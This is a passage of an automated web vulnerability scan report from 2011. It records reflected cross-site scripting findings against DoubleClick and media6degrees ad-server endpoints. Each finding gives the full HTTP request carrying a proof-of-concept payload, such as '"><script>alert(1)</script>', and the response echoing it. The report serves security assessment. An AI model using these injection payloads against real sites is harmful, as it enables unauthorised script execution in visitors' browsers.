Path:	/adj/cm.appnexus/nikon_ron_cpm

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bb425'%3balert(1)//e1a90e0f65e was submitted in the sz parameter. This input was echoed as bb425';alert(1)//e1a90e0f65e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/cm.appnexus/nikon_ron_cpm;sz=bb425'%3balert(1)//e1a90e0f65e HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=AQAAAAAA4j-amZmZmZnePwAAAADXo_o_mpmZmZmZ3j8AAAAAAADiP9xIJgq8hAUXBWHfHSmrEEI7n1JNAAAAABuRAwA2AQAANwEAAAIAAABJ9wIA5GoAAAEAAABVU0QAVVNEAKAAWAKoAecEDAcAAgUCAAIAAAAARR2NVAAAAAA.&udj=uf%28%27a%27%2C+11322%2C+1297260347%29%3Buf%28%27c%27%2C+49259%2C+1297260347%29%3Buf%28%27r%27%2C+194377%2C+1297260347%29%3B&cnd=!hhQ2PQjrgAMQye4LGAAg5NUBKOcJMQAAAAAAAOI_QhMIABAAGAAgASj-__________8BSABQAFioA2AAaLcC&referrer=http://technorati.com/contact-us/&custom_macro=SEG_CODES_COL%5Ebtg=an.5%3Bbtg=an.51%3Bbtg=cm.de16_1%3Bbtg=cm.de18_1%3Bbtg=cm.ent_h%3Bbtg=cm.polit_h%3Bbtg=cm.shop_h%3Bbtg=cm.sports_h%3Bbtg=cm.sportsfan%3Bbtg=cm.sportsreg
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 295
Cache-Control: no-cache
Pragma: no-cache
Date: Wed, 09 Feb 2011 14:09:37 GMT
Expires: Wed, 09 Feb 2011 14:09:37 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa9/0/0/%2a/v;44306;0-0;0;59862846;255-0/0;0/0/0;;~okv=;sz=bb425';alert(1)//e1a90e0f65e;~aopt=2/0/ee/0;~sscs=%3f"><img sr
...[SNIP]...

1.19. http://ad.doubleclick.net/adj/cm.appnexus/taxact_ron [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/cm.appnexus/taxact_ron

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 848f6'-alert(1)-'c4eace39569 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/cm.appnexus/taxact_ron;sz=300x250;app=taxact_ron;click0=http://ib.adnxs.com/click/hetRuB6F0z8IrBxaZDvPPwAAAMAeheQ_CKwcWmQ7zz-F61G4HoXTP5b8K_pSC9QXBWHfHSmrEEI6n1JNAAAAAGqUAwA2AQAANwEAAAIAAAAmgQIA52oAAAEAAABVU0QAVVNEACwB-gCoAdoEbwQAAQUCAAMAAAAAASH0uQAAAAA./cnd=!ICL11Qi52wIQpoIKGAAg59UBKNoJMYXrUbgehdM_QhMIABAAGAAgASj-__________8BQg0I4D4QhscEGAEgAygCQgsI4D4QABgAIAIoAkINCOE-EPK3TRgTIAMoAkILCOE-EAAYACACKAJIAFAAWKgDYABotwI./referrer=http%3A%2F%2Fblogcritics.org%2F/clickenc=;ord=1297260346?&848f6'-alert(1)-'c4eace39569=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=hetRuB6F0z8IrBxaZDvPPwAAAMAeheQ_CKwcWmQ7zz-F61G4HoXTP5b8K_pSC9QXBWHfHSmrEEI6n1JNAAAAAGqUAwA2AQAANwEAAAIAAAAmgQIA52oAAAEAAABVU0QAVVNEACwB-gCoAdoEbwQAAgUCAAMAAAAAAiEFugAAAAA.&udj=uf%28%27a%27%2C+6877%2C+1297260346%29%3Buf%28%27c%27%2C+44473%2C+1297260346%29%3Buf%28%27r%27%2C+164134%2C+1297260346%29%3Bppv%288032%2C+%271717009808947412118%27%2C+1297260346%2C+1297692346%2C+44473%2C+27367%29%3Bppv%288033%2C+%271717009808947412118%27%2C+1297260346%2C+1297692346%2C+44473%2C+27367%29%3B&cnd=!ICL11Qi52wIQpoIKGAAg59UBKNoJMYXrUbgehdM_QhMIABAAGAAgASj-__________8BQg0I4D4QhscEGAEgAygCQgsI4D4QABgAIAIoAkINCOE-EPK3TRgTIAMoAkILCOE-EAAYACACKAJIAFAAWKgDYABotwI.&referrer=http://blogcritics.org/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Wed, 09 Feb 2011 14:09:22 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1251

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa9/14/19f/%2a/r;234941401;0-0;1;58796878;4307-300/250;40248019/40265806/1;;~okv=;sz=300x250;app=taxact_ron;click0=http:/
...[SNIP]...
1Qi52wIQpoIKGAAg59UBKNoJMYXrUbgehdM_QhMIABAAGAAgASj-__________8BQg0I4D4QhscEGAEgAygCQgsI4D4QABgAIAIoAkINCOE-EPK3TRgTIAMoAkILCOE-EAAYACACKAJIAFAAWKgDYABotwI./referrer=http://blogcritics.org//clickenc=;;848f6'-alert(1)-'c4eace39569=1;~aopt=2/0/ee/0;~sscs=%3fhttp://ib.adnxs.com/click/hetRuB6F0z8IrBxaZDvPPwAAAMAeheQ_CKwcWmQ7zz-F61G4HoXTP5b8K_pSC9QXBWHfHSmrEEI6n1JNAAAAAGqUAwA2AQAANwEAAAIAAAAmgQIA52oAAAEAAABVU0QAVVNEACwB-gCoAdoEbwQA
...[SNIP]...

1.20. http://ad.doubleclick.net/adj/cm.appnexus/taxact_ron [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/cm.appnexus/taxact_ron

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fc312'%3balert(1)//b6400693fbc was submitted in the sz parameter. This input was echoed as fc312';alert(1)//b6400693fbc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/cm.appnexus/taxact_ron;sz=fc312'%3balert(1)//b6400693fbc HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=hetRuB6F0z8IrBxaZDvPPwAAAMAeheQ_CKwcWmQ7zz-F61G4HoXTP5b8K_pSC9QXBWHfHSmrEEI6n1JNAAAAAGqUAwA2AQAANwEAAAIAAAAmgQIA52oAAAEAAABVU0QAVVNEACwB-gCoAdoEbwQAAgUCAAMAAAAAAiEFugAAAAA.&udj=uf%28%27a%27%2C+6877%2C+1297260346%29%3Buf%28%27c%27%2C+44473%2C+1297260346%29%3Buf%28%27r%27%2C+164134%2C+1297260346%29%3Bppv%288032%2C+%271717009808947412118%27%2C+1297260346%2C+1297692346%2C+44473%2C+27367%29%3Bppv%288033%2C+%271717009808947412118%27%2C+1297260346%2C+1297692346%2C+44473%2C+27367%29%3B&cnd=!ICL11Qi52wIQpoIKGAAg59UBKNoJMYXrUbgehdM_QhMIABAAGAAgASj-__________8BQg0I4D4QhscEGAEgAygCQgsI4D4QABgAIAIoAkINCOE-EPK3TRgTIAMoAkILCOE-EAAYACACKAJIAFAAWKgDYABotwI.&referrer=http://blogcritics.org/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 295
Cache-Control: no-cache
Pragma: no-cache
Date: Wed, 09 Feb 2011 14:09:18 GMT
Expires: Wed, 09 Feb 2011 14:09:18 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa9/0/0/%2a/x;44306;0-0;0;58796878;255-0/0;0/0/0;;~okv=;sz=fc312';alert(1)//b6400693fbc;~aopt=2/0/ee/0;~sscs=%3f"><img sr
...[SNIP]...

1.21. http://ad.media6degrees.com/adserv/cs [adType parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/cs

Issue detail

The value of the adType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 467de"><script>alert(1)</script>0330d190362 was submitted in the adType parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/cs?adType=iframe|is_preview=0|cId=4814|ec=1|spId=19013|advId=651|tpCId=153250|exId=9|price=0.200000|vurlId=424|srcUrlEnc=http://technorati.com/contact-us/?bd8fa%22%3E%3Cscript%3Ealert(1)%3C/script%3E09ae0dbaead=1|notifyServer=asd132.sd.pl.pvt|notifyPort=8080|bid=0.20000000298023224|tId=6210453202168737|pubId=51|invId=117|secId=56|tpSecId=233753|foo=bar|cb=1297260612|ctrack=http://ib.adnxs.com/click/AQAAoJmZyT-amZlhj8LFPwAAAKCZmfE_mpmZYY_CxT8AAACgmZnJP8giKVhwODcdBWHfHSmrEEJEoFJNAAAAABmRAwA2AQAAfAAAABkAAACiVgIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEoQMAAgUCAAIAAAAAMiEewAAAAAA./cnd=%257B%255C%2522m6ClientId%255C%2522:835342505348660275,%255C%2522transactionId%255C%2522:6210453202168737,%255C%2522marketerId%255C%2522:651,%255C%2522campaignId%255C%2522:3231,%255C%2522spendId%255C%2522:19013,%255C%2522spendWeight%255C%2522:200,%255C%2522creativeId%255C%2522:4814,%255C%2522spendCreativeId%255C%2522:158392,%255C%2522adProfileId%255C%2522:289%257D/referrer=http%253A%252F%252Ftechnorati.com%252Fcontact-us%252F%253Fbd8fa%252522%25253E%25253Cscript%25253Ealert%25281%2529%25253C%252Fscript%25253E09ae0dbaead%253D1/clickenc=467de"><script>alert(1)</script>0330d190362 HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://technorati.com/contact-us/?bd8fa%22%3E%3Cscript%3Ealert(1)%3C/script%3E09ae0dbaead=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lfzx0l0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; vstcnt=3lebnns040r044nssk122m1boph1c4wn1bw2l1bw321bw2o1bw501bw3n1bw4o1bw3c1bw301bw5f1bw4e1bw381bw3l1bw2m1bw2c1bw351bw481bw2v1bw4h1bw4x1bw4b1bw361bw3z1bw4f1bw4w1bw4g1bw331bw431bw2q1bw4z1bw2b1bw441bw2r1bw5e1bw3f1bw521bw3p1bw5a1bw311bw4r1bw5d1bw5j1bw421bw2p1bw3x1bw5g1bw2i1bw4a1bw3b1bw531bw4p1bw3q1bw541bw3r1bw4q1bw4j1bw461bw2t1bw3m1bw4y1bw4s1bw2z1bw4c1bw2k1bw3v1bw4i1bw4t1bw3a1bw451bw2s1bw2j1bw4n1bw3e1bw591bw3w1bw401bw2n1bw3u1bw341bw4u1bw3k1bw491bw2w1bw5b1bw561bw3t1bw511bw551bw3s1bw471bw2u1bw5i1bw4l3ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z32te12011xg0o4jaec12011ucve1l054e206123s181qq1845a1847x1845b1847u1847e1847k1847y1843w1844k184621845j1844p184551843s1847h1846q1844z184871846u184571843u18486184741846t1846l1845r1842z185k81848f1844n1844d184781846a1845v1846j1846k184801845s1843g1847a1843d184841846r1845y1844l1847i1847r1847p184541843r1845i1844y1844r1842x184811846o1844u1844s1847b1843k1843n1848a1845q1845n1845c1842t1844j1845e1845g184821846p184301847f1844c1847t1843c1843j1848b1847z1842u1843p184851846s1845f1845h18435184371846b1843o1845m1847s1848g1844g184561843t1847c1847g1843f1844a1847v1843m1844m184721845p1848e1844q1848c1843h1842y1847d1848d1844t1845x1847q1845k184711845o1846i1844f184791845w1845d184581844h1843v1847o18434184691845t184531844w1844e184881846v1844v4qbzj12011yfhj4fhux122u000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru000000000000000000000000000000000004esx7120104tej49wpz12011w3py0s018raevpblc12011xh931o018EstvP2qn112s1o9ct1oa791oa5w1oa8b1oa601oa8j1oa6z1oa871oa6u1oa8f1oa7b1oa7l1oa6x1oa8l1oa6m1oa7i1oa8h1oa6h1oa8e1oa5z1oa8s1oa7n1oa6e1oa7k1oa741oa5r1oa7h1oa5l1oa5k1oa611oa7w1oa8g1oa911oa7o1oa5m1oa6l1oa681oa8c1oa5h1oa831oa8o1oa8n1oa7f1oa6f1oa7x1oa721oa771oa701oa7j1oa7a1oa801oa7g1oa6n1oa761oa5t1oa8i1oa841oa8t1oa8m1oa7y1oa921oa5i1oa6y1oa931oa821oa7u1oa941oa8d1oa631oa6t1oa651oa7d1oa8v1oa6j1oa891oa6w1oa5j1oa881oa7t1oa6v1oa7s1oa8z1oa8p1oa811oa6o1oa8u1oa691oa731oa5q1oa6g1oa8q1oa7e1oa5y1oa751oa5s1oa641oa7v1oa781oa5v1oa6k; acs=015020a0e0f0g1lebnnsxzt11xg0oxzt12135dxzt11xqnrxzt11xg0o; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; clid=2lebnns011706ch47d7o8wtv214tf01h1403070f20o; rdrlst=41d0o2ylebnns1wj3q01411000xo1lebnns1wj3q01411000x1blebnns1wj3q01411000w3clebnns1wj3q01411000jv6lebnns1wj3q01411000j4ilew2e20000001b14030fullf8gij00000015140310f6lg1nei0000000n140300c9lfk1rn0000001214031196lfzx0l0000000o14030jillebnns1wj3q01411001195lg7rdq0000000f14031194lg3y5y0000000l14030y7blg94wv0000000614030cajlfk1rn0000001214030p7vlebnns1xgc001b12001192lg5l2h0000000k140310tylg60ji0000000g140310ellg1nei07gla00h12000xuklebnns0000001h140310telg60j60000000i14030yh0lebnns1wj3q014110010e9lg1nei0000000n14030jwblfk1rn0o4zv00p110007dpletz4d0000001d14030mmnlebnns1wj3q014110010e5lg1nei0000000n140310rdlg1vir087mk00m14030mzklgcsh70000000114010eh5lf17qf00000019140306bylemlne0000001f14030df5lgcqt50000000314030mzqlgcsgy00000002140207gmlebnns1wj3q01411000xthlebnns1xgc001b12000im3lgcqt50000000314030fuqlegh2b0000001g14030b6mlf17qk0000001814030mz1lebnns1wj3q01411000y63lg93og00000008140307vglfk1rn0000001214030xvslebnns1wj3q01411000x1jlebnns1wj3q01411000jk7lebnns1wj3q01411000cbnlfk1rn0000001214030yiplebnns1wj3q01411000xwflebnns1wj3q01411000e4vlebnns1wj3q01411000xwblebnns1wj3q0141100; sglst=20f0s0tllegh2b1wbew01g1403070f20o5b0lf17qo000000171403070f20oag2leqh191mbfy01e1403070f20o82hlebnns1ucve00z100006002005q8lebnns1ucve00k10000600200b0clfjpei0pe9y0131403070f20o7gdlgcqt5001o200314030703203b1alfjpei0pe9y0131403070f20ob08lfjpei0pe9y0131403070f20o45mlfdxmc000000141403070f20o5l4lgcqt5001o200314030703203aanlebnns1xg0o00o12000700200b0olfjpei0pe9y00v12000700200ab4lebnns1xg0o01h1403070f20o9szlebnns1xg0o01912000700200

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh="1lf17qo16033e7s0103901WEF/RAmuh01bkz326030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000"; Version=1; Domain=media6degrees.com; Max-Age=15552000; Path=/
Set-Cookie: clid=2lebnns011706ch47d7o8wtv2151z01i1404070g20p; Domain=media6degrees.com; Expires=Mon, 08-Aug-2011 14:10:39 GMT; Path=/
Set-Cookie: orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Mon, 08-Aug-2011 14:10:39 GMT; Path=/
Set-Cookie: rdrlst=41d0o2ylebnns1wj3q01411000xo1lebnns1wj3q01411000x1blebnns1wj3q01411000w3clebnns1wj3q01411000jv6lebnns1wj3q01411000j4ilew2e20000001c14040fullf8gij00000016140410f6lg1nei0000000o140400c9lfk1rn0000001314041196lfzx0l0000000p14040jillebnns1wj3q01411001195lg7rdq0000000g14041194lg3y5y0000000m14040y7blg94wv0000000714040cajlfk1rn0000001314040p7vlebnns1xgc001b12001192lg5l2h0000000l140410tylg60ji0000000h140410ellg1nei07gla00h12000xuklebnns0000001i14040yh0lebnns1wj3q014110010telg60j60000000j140410e9lg1nei0000000o14040jwblfk1rn0o4zv00p110007dpletz4d0000001e14040mmnlebnns1wj3q014110010e5lg1nei0000000o140410rdlg1vir087mk00n14040mzklgcsh70000000214020eh5lf17qf0000001a140406bylemlne0000001g14040df5lgcqt50000000414040mzqlgcsgy00000003140307gmlebnns1wj3q01411000xthlebnns1xgc001b12000im3lgcqt50000000414040fuqlegh2b0000001h14040b6mlf17qk0000001914040mz1lebnns1wj3q01411000y63lg93og00000009140407vglfk1rn0000001314040xvslebnns1wj3q01411000x1jlebnns1wj3q01411000jk7lebnns1wj3q01411000cbnlfk1rn0000001314040yiplebnns1wj3q01411000xwflebnns1wj3q01411000e4vlebnns1wj3q01411000xwblebnns1wj3q0141100; Domain=media6degrees.com; Expires=Mon, 08-Aug-2011 14:10:39 GMT; Path=/
Set-Cookie: sglst=20f0s0tllegh2b1wbng01h1404070g20p5b0lf17qo000000181404070g20pag2leqh191mboi01f1404070g20p82hlebnns1ucve00z100006002005q8lebnns1ucve00k10000600200b0clfjpei0pe9y0141404070g20p7gdlgcqt5001wm00414040704204b1alfjpei0pe9y0141404070g20pb08lfjpei0pe9y0141404070g20p45mlfdxmc000000151404070g20p5l4lgcqt5001wm00414040704204aanlebnns1xg0o00o12000700200ab4lebnns1xg0o01i1404070g20pb0olfjpei0pe9y00v120007002009szlebnns1xg0o01912000700200; Domain=media6degrees.com; Expires=Mon, 08-Aug-2011 14:10:39 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 09 Feb 2011 14:10:39 GMT
Content-Length: 1602

<a href="http://ad.media6degrees.com/adserv/clk?tId=6210453202168737|cId=4814|cb=1297260612|notifyPort=8080|tpCId=153250|exId=9|tId=6210453202168737|foo=bar|tpSecId=233753|ec=1|vurlId=424|secId=56|pri
...[SNIP]...
ofileId%255C%2522:289%257D/referrer=http%253A%252F%252Ftechnorati.com%252Fcontact-us%252F%253Fbd8fa%252522%25253E%25253Cscript%25253Ealert%25281%2529%25253C%252Fscript%25253E09ae0dbaead%253D1/clickenc=467de"><script>alert(1)</script>0330d190362http://roia.biz/im/n/KSmZvq1BAAGL30MAAAsXQgAAqVNmMQA-A/" target="_blank">
...[SNIP]...

1.22. http://ad.media6degrees.com/adserv/cs [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/cs

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4b38"><script>alert(1)</script>ad4afdf7ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/cs?adType=iframe|is_preview=0|cId=4814|ec=1|spId=19013|advId=651|tpCId=153250|exId=9|price=0.200000|vurlId=424|srcUrlEnc=http://technorati.com/contact-us/?bd8fa%22%3E%3Cscript%3Ealert(1)%3C/script%3E09ae0dbaead=1|notifyServer=asd132.sd.pl.pvt|notifyPort=8080|bid=0.20000000298023224|tId=6210453202168737|pubId=51|invId=117|secId=56|tpSecId=233753|foo=bar|cb=1297260612|ctrack=http://ib.adnxs.com/click/AQAAoJmZyT-amZlhj8LFPwAAAKCZmfE_mpmZYY_CxT8AAACgmZnJP8giKVhwODcdBWHfHSmrEEJEoFJNAAAAABmRAwA2AQAAfAAAABkAAACiVgIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEoQMAAgUCAAIAAAAAMiEewAAAAAA./cnd=%257B%255C%2522m6ClientId%255C%2522:835342505348660275,%255C%2522transactionId%255C%2522:6210453202168737,%255C%2522marketerId%255C%2522:651,%255C%2522campaignId%255C%2522:3231,%255C%2522spendId%255C%2522:19013,%255C%2522spendWeight%255C%2522:200,%255C%2522creativeId%255C%2522:4814,%255C%2522spendCreativeId%255C%2522:158392,%255C%2522adProfileId%255C%2522:289%257D/referrer=http%253A%252F%252Ftechnorati.com%252Fcontact-us%252F%253Fbd8fa%252522%25253E%25253Cscript%25253Ealert%25281%2529%25253C%252Fscript%25253E09ae0dbaead%253D1/clickenc=&f4b38"><script>alert(1)</script>ad4afdf7ec=1 HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://technorati.com/contact-us/?bd8fa%22%3E%3Cscript%3Ealert(1)%3C/script%3E09ae0dbaead=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lfzx0l0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; vstcnt=3lebnns040r044nssk122m1boph1c4wn1bw2l1bw321bw2o1bw501bw3n1bw4o1bw3c1bw301bw5f1bw4e1bw381bw3l1bw2m1bw2c1bw351bw481bw2v1bw4h1bw4x1bw4b1bw361bw3z1bw4f1bw4w1bw4g1bw331bw431bw2q1bw4z1bw2b1bw441bw2r1bw5e1bw3f1bw521bw3p1bw5a1bw311bw4r1bw5d1bw5j1bw421bw2p1bw3x1bw5g1bw2i1bw4a1bw3b1bw531bw4p1bw3q1bw541bw3r1bw4q1bw4j1bw461bw2t1bw3m1bw4y1bw4s1bw2z1bw4c1bw2k1bw3v1bw4i1bw4t1bw3a1bw451bw2s1bw2j1bw4n1bw3e1bw591bw3w1bw401bw2n1bw3u1bw341bw4u1bw3k1bw491bw2w1bw5b1bw561bw3t1bw511bw551bw3s1bw471bw2u1bw5i1bw4l3ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z32te12011xg0o4jaec12011ucve1l054e206123s181qq1845a1847x1845b1847u1847e1847k1847y1843w1844k184621845j1844p184551843s1847h1846q1844z184871846u184571843u18486184741846t1846l1845r1842z185k81848f1844n1844d184781846a1845v1846j1846k184801845s1843g1847a1843d184841846r1845y1844l1847i1847r1847p184541843r1845i1844y1844r1842x184811846o1844u1844s1847b1843k1843n1848a1845q1845n1845c1842t1844j1845e1845g184821846p184301847f1844c1847t1843c1843j1848b1847z1842u1843p184851846s1845f1845h18435184371846b1843o1845m1847s1848g1844g184561843t1847c1847g1843f1844a1847v1843m1844m184721845p1848e1844q1848c1843h1842y1847d1848d1844t1845x1847q1845k184711845o1846i1844f184791845w1845d184581844h1843v1847o18434184691845t184531844w1844e184881846v1844v4qbzj12011yfhj4fhux122u000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru000000000000000000000000000000000004esx7120104tej49wpz12011w3py0s018raevpblc12011xh931o018EstvP2qn112s1o9ct1oa791oa5w1oa8b1oa601oa8j1oa6z1oa871oa6u1oa8f1oa7b1oa7l1oa6x1oa8l1oa6m1oa7i1oa8h1oa6h1oa8e1oa5z1oa8s1oa7n1oa6e1oa7k1oa741oa5r1oa7h1oa5l1oa5k1oa611oa7w1oa8g1oa911oa7o1oa5m1oa6l1oa681oa8c1oa5h1oa831oa8o1oa8n1oa7f1oa6f1oa7x1oa721oa771oa701oa7j1oa7a1oa801oa7g1oa6n1oa761oa5t1oa8i1oa841oa8t1oa8m1oa7y1oa921oa5i1oa6y1oa931oa821oa7u1oa941oa8d1oa631oa6t1oa651oa7d1oa8v1oa6j1oa891oa6w1oa5j1oa881oa7t1oa6v1oa7s1oa8z1oa8p1oa811oa6o1oa8u1oa691oa731oa5q1oa6g1oa8q1oa7e1oa5y1oa751oa5s1oa641oa7v1oa781oa5v1oa6k; acs=015020a0e0f0g1lebnnsxzt11xg0oxzt12135dxzt11xqnrxzt11xg0o; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; clid=2lebnns011706ch47d7o8wtv214tf01h1403070f20o; rdrlst=41d0o2ylebnns1wj3q01411000xo1lebnns1wj3q01411000x1blebnns1wj3q01411000w3clebnns1wj3q01411000jv6lebnns1wj3q01411000j4ilew2e20000001b14030fullf8gij00000015140310f6lg1nei0000000n140300c9lfk1rn0000001214031196lfzx0l0000000o14030jillebnns1wj3q01411001195lg7rdq0000000f14031194lg3y5y0000000l14030y7blg94wv0000000614030cajlfk1rn0000001214030p7vlebnns1xgc001b12001192lg5l2h0000000k140310tylg60ji0000000g140310ellg1nei07gla00h12000xuklebnns0000001h140310telg60j60000000i14030yh0lebnns1wj3q014110010e9lg1nei0000000n14030jwblfk1rn0o4zv00p110007dpletz4d0000001d14030mmnlebnns1wj3q014110010e5lg1nei0000000n140310rdlg1vir087mk00m14030mzklgcsh70000000114010eh5lf17qf00000019140306bylemlne0000001f14030df5lgcqt50000000314030mzqlgcsgy00000002140207gmlebnns1wj3q01411000xthlebnns1xgc001b12000im3lgcqt50000000314030fuqlegh2b0000001g14030b6mlf17qk0000001814030mz1lebnns1wj3q01411000y63lg93og00000008140307vglfk1rn0000001214030xvslebnns1wj3q01411000x1jlebnns1wj3q01411000jk7lebnns1wj3q01411000cbnlfk1rn0000001214030yiplebnns1wj